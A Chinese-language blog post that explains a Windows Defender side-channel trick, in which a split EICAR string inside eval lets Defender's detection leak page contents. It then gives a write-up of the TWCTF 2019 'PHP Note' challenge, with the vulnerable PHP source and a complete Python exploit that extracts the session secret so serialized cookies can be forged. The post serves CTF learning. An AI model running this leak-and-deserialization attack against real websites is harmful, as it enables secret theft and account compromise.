Windows Defender 侧信道攻击
2019-09-02 15:20:45

[toc]

Windows Defender

Windows Defender,曾用名Microsoft Anti Spyware,是一个杀毒程序,可以运行在Windows XP和Windows Server 2003操作系统上,并已内置在Windows Vista,Windows 7,Windows8和Windows10。它的测试版于2005年1月6日发布,在2005年6月23日、2006年2月17日微软又发布了更新的测试版本。Windows Defender的定义库更新很频繁。Windows Defender不像其他同类免费产品一样只能扫描系统,它还可以对系统进行实时监控,移除已安装的Active X插件,清除大多数微软的程序和其他常用程序的历史记录。在最新发布的Windows 10中,Windows Defender已加入了右键扫描和离线杀毒,根据最新的每日样本测试,查杀率已经有了大的提升,达到国际一流水准。(百度百科)

Windows Defender的触发流程

  1. 检查文件内容是否包含恶意数据
  2. 更改权限以阻止用户访问
  3. 用空字节替换恶意数据
  4. (删除整个文件)

触发Windows Defender的恶意数据

EICAR测试文件 X5O!P%@ AP [4 \ PZX54(P ^)7CC)7} $ EICAR-STANDARD-TIVIRUS-TEST-FILE!$ H + H *

JavaScript engine in mpengine.dll

mpengine.dll是Windows Defender的核心DLL,其中包含了JavaScript engine,在JavaScript engine中继承了一些基础用法,比如字符串索引操作、数学操作这些,并且支持eval函数,但是**eval的参数会进行检测**,那么此时我们传入下列js,便会触发Windows Defender:

1
eval('X5O!P%@AP[4\\\\PZX54(P^)7CC)7}$$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$$H+H*')

Some issues in JScript engine

image.png 我们可以用访问对象的方式{0: "a", 1: "b", ...}[input]来代替if语句。

Another feature in mpengine.dll

image.png

构造payload

我们可以将eval中的恶意数据分割成两段

1
2
X5O!P%@AP[4\\\\PZX54(P^)7CC)7}$$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$$H+H  
*

然后用访问对象的方式进行盲注,当c=n时触发Windows Defender。

1
{c:'*'}[Math.min(c,n)]

TWCTF2019 PHP Note

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
<?php
include 'config.php';

class Note {
public function __construct($admin) {
$this->notes = array();
$this->isadmin = $admin;
}

public function addnote($title, $body) {
array_push($this->notes, [$title, $body]);
}

public function getnotes() {
return $this->notes;
}

public function getflag() {
if ($this->isadmin === true) {
echo FLAG;
}
}
}

function verify($data, $hmac) {
$secret = $_SESSION['secret'];
if (empty($secret)) return false;
return hash_equals(hash_hmac('sha256', $data, $secret), $hmac);
}

function hmac($data) {
$secret = $_SESSION['secret'];
if (empty($data) empty($secret)) return false;
return hash_hmac('sha256', $data, $secret);
}

function gen_secret($seed) {
return md5(SALT . $seed . PEPPER);
}

function is_login() {
return !empty($_SESSION['secret']);
}

function redirect($action) {
header("Location: /?action=$action");
exit();
}

$method = $_SERVER['REQUEST_METHOD'];
$action = $_GET['action'];

if (!in_array($action, ['index', 'login', 'logout', 'post', 'source', 'getflag'])) {
redirect('index');
}

if ($action === 'source') {
highlight_file(__FILE__);
exit();
}


session_start();

if (is_login()) {
$realname = $_SESSION['realname'];
$nickname = $_SESSION['nickname'];

$note = verify($_COOKIE['note'], $_COOKIE['hmac'])
? unserialize(base64_decode($_COOKIE['note']))
: new Note(false);
}

if ($action === 'login') {
if ($method === 'POST') {
$nickname = (string)$_POST['nickname'];
$realname = (string)$_POST['realname'];

if (empty($realname) strlen($realname) < 8) {
die('invalid name');
}

$_SESSION['realname'] = $realname;
if (!empty($nickname)) {
$_SESSION['nickname'] = $nickname;
}
$_SESSION['secret'] = gen_secret($nickname);
}
redirect('index');
}

if ($action === 'logout') {
session_destroy();
redirect('index');
}

if ($action === 'post') {
if ($method === 'POST') {
$title = (string)$_POST['title'];
$body = (string)$_POST['body'];
$note->addnote($title, $body);
$data = base64_encode(serialize($note));
setcookie('note', (string)$data);
setcookie('hmac', (string)hmac($data));
}
redirect('index');
}

if ($action === 'getflag') {
$note->getflag();
}

?>

可以看到想要任意反序列化,需要让verify($_COOKIE['note'], $_COOKIE['hmac'])返回true,也就是hash_hmac('sha256', $_COOKIE['note'], $_SESSION['secret'])==$_COOKIE['hmac']。这里的$_SESSION['secret']未知。 image.png 我们可以先不带$nickname登陆,然后再用$nickname登陆,这样session文件中$secret就会在$realname$nickname之间。 梅子酒师傅的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import requests
import string

url = "http://phpnote.chal.ctf.westerns.tokyo/?action={}"
result = ""
def randstr(n=8):
import random
import string
chars = string.ascii_uppercase + string.ascii_lowercase + string.digits
return ''.join([random.choice(chars) for _ in range(n)])

def loop(idx, sess_id):
l, h = 0, 0x100
while h - l > 1:
m = (h + l) // 2
p = '''<script>f=function(n){eval('X5O!P%@AP[4\\\\PZX54(P^)7CC)7}$$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$$H+H'+{${c}:'*'}[Math.min(${c},n)])};f(document.body.innerHTML[${idx}].charCodeAt(0));</script><body>'''
p = string.Template(p).substitute({'idx': idx, 'c': str(m)})
sess_id = randstr()
headers = {
"Cookie": "PHPSESSID={}; path=/".format(sess_id)
}
requests.post("http://phpnote.chal.ctf.westerns.tokyo/?action=login", headers=headers, data={'realname': p})
requests.post("http://phpnote.chal.ctf.westerns.tokyo/?action=login", headers=headers, data={'realname': p, 'nickname': "</body>"})
re = requests.get("http://phpnote.chal.ctf.westerns.tokyo/?action=index", headers=headers)
if re.text.find('Welcome') != -1:
h = m
else:
l = m
return chr(l)


for i in range(0, 50):
x = loop(i, "46f97a7c139b071ca584e0cad09a06c6")
result += x
print("[*]: " + result)

print(result)

charCodeAt的返回unicode值范围在0-65535,0-255就够用了。 image.png 拿到secret后构造反序列化数据和hmac即可getflag。 image.png

Referer

https://meizjm3i.github.io/2019/08/01/%E5%88%A9%E7%94%A8Windows%20Defender%E4%BE%A7%E4%BF%A1%E9%81%93%E6%94%BB%E5%87%BB/ https://westerns.tokyo/wctf2019-gtf/wctf2019-gtf-slides.pdf

Prev
2019-09-02 15:20:45
Next